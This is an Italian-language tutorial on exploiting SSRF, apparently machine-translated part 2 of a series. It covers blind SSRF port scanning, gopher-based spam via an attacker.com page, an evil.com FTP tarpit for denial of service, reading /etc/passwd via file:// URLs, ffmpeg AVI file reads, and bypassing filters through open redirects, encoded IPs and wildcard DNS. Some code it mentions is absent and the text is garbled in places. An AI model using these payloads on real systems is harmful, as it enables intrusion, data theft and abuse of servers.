Abbiamo discusso SSRF di base nella parte -1, ora continueremo con Blind
ii. Cieco –
Non tutte le vulnerabilità SSRF restituiscono la risposta all’attaccante. Questo tipo di SSRF è noto come blind SSRF
Sfruttare l’SSRF cieco –
DEMO (utilizzando Ruby)
Il codice precedente esegue un server sulla porta 4567 che, su richiesta, esegue le seguenti operazioni:
& gt; effettua una richiesta all’URL menzionato dall’utente
& gt; inviare la risposta “OK” all’utente anziché il contenuto (CANT SEE RESPONSE)
http: // localhost: 4567 /? url = https: //google.com richiederà google.com ma non mostra la risposta di Google all’attaccante
Per dimostrare i mpact con questo tipo di SSRF significa eseguire una scansione IP interna e PORT
Ecco un elenco di reti IPv4 private di cui potresti cercare servizi:
Possiamo determinare se la PORTA specificata è aperta / chiusa osservando lo stato della risposta e il tempo di risposta
Di seguito è riportata la tabella di esempio dello stato e del tempo della risposta
Invia messaggi di spam –
In alcuni casi se il server supporta Gopher lo usiamo per inviare messaggi di spam dall’IP del server
Per dimostrare useremo il server di test test.smtp.org.
Creiamo una pagina php dannosa :
http://attacker.com/ssrf/gopher.php
https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php
Questo codice concentra il nostro comando SMTP in una riga delimitata da% 0A e forza il server a inviare una richiesta “GOPHER” a un server SMTP mentre invia effettivamente una richiesta SMTP valida
Esecuzione di attacchi Denial of Service –
Un utente malintenzionato può utilizzare iptables TARPIT target per bloccare le richieste per un periodo di tempo prolungato e il protocollo FTP: // di CURL che non va mai in timeout.
Un utente malintenzionato può inviare tutto il traffico TCP alla porta 12345 a TARPIT e la richiesta
https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST
2. Casi di test –
Luoghi in cui cercare SSRF
Punti finali che recuperano risorse esterne / interne –
Caso I-
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
Refer – Link
Caso -II
Prova a cambiare gli URL nella richiesta POST
Fare riferimento – # 411865, Link
Generatori di PDF –
Ci sono alcuni casi in cui il server converte il file caricato in un pdf
Prova a inserire & lt; iframe & gt ;, & lt; img & gt ;, & lt; base & gt; o & lt; script & gt; elementi o funzioni CSS url () che puntano a servizi interni.
Puoi leggere file interni usando questo
Refer – Link
Caricamenti di file –
Invece di caricare, prova a cambiare il tipo di input in URL e controlla se il server gli invia una richiesta
a
e passa l’URL
Ecco un esempio.
Conversione video –
Esistono molte applicazioni che utilizzano la versione obsoleta di ffmpeg per convertire i video da un formato all’altro
C’è una vulnerabilità SSRF nota in questo
Clona il repository neex e genera un avi usando il comando seguente
./gen_xbin_avi.py file: // & lt; filename & gt; file_read.avi
e caricalo nel server vulnerabile e prova a convertirlo da avi a mp4
queste letture possono essere utilizzate per leggere file interni e scrivere nel video
Fare riferimento a – # 237381, # 226756
Conoscere le vulnerabilità SSRF in CMS, plugin, temi ..
Questo è limitato alla tua conoscenza della ricerca
3. Ignora whitelisting e blacklist –
Parliamo prima di whitelist e blacklist
<” whitelisting” – Consentire URL specifici (host consentiti)
Diciamo che se un server autorizza google.com e tu puoi recuperare solo google.com utilizzando SSRF e il resto tutti gli altri domini vengono rifiutati
L’unico modo per aggirare la whitelist è trovare un reindirizzamento aperto nel dominio autorizzato. Vediamo un esempio
<” Custodia – 1
www.example.com ha inserito abc.com nella whitelist e hai trovato SSRF in example.com
http://example.com/ssrf.php?url=https://google.com – Impossibile recuperare perché non è autorizzato
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com – Recupera con successo google.com
<” Custodia – 2
www.example.com ha inserito nella whitelist * .abc.com e hai trovato SSRF in example.com
http://example.com/ssrf.php?url=https://google.com – Impossibile recuperare perché non è autorizzato
Questo può essere aggirato se ottieni l’acquisizione di un sottodominio su * .abc.com
e utilizzalo per creare un iframe o reindirizzarlo al sito desiderato
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com – Recupera con successo google.com
< blacklisting – Blocco di URL specifici (host non consentiti)
Allo stesso modo se un server inserisce nella blacklist google.com e quando chiedi al server di recuperare google.com si blocca
La lista nera può essere aggirata in molti modi
Conversione di IP in esadecimale –
esempio: conversione di http: //192.168.0.1 in esadecimale con punti – http: //c0.a8.00.01 e http: / esadecimale senza punti / 0xc0a80001
Conversione di IP in Decimale –
Utilizza qualsiasi convertitore online (Link)
Conversione di IP in Octal –
esempio: conversione di http: //192.168.0.1 in ottale doted http: //0300.0250.0000.0001 e punto meno http: // 030052000001
Fare riferimento – # 288250
Utilizzo di DNS jolly –
Ci sono molti siti online che forniscono DNS con caratteri jolly, alcuni di essi lo sono
Puoi semplicemente usarli per indirizzarlo a un IP specifico
Oppure puoi utilizzare il tuo dominio per farlo
Crea un sottodominio e punta a 192.168.0.1 con record DNS A
Fare riferimento a: – # 288193, # 288183
Utilizzo di caratteri alfanumerici racchiusi –
./Fine della parte -2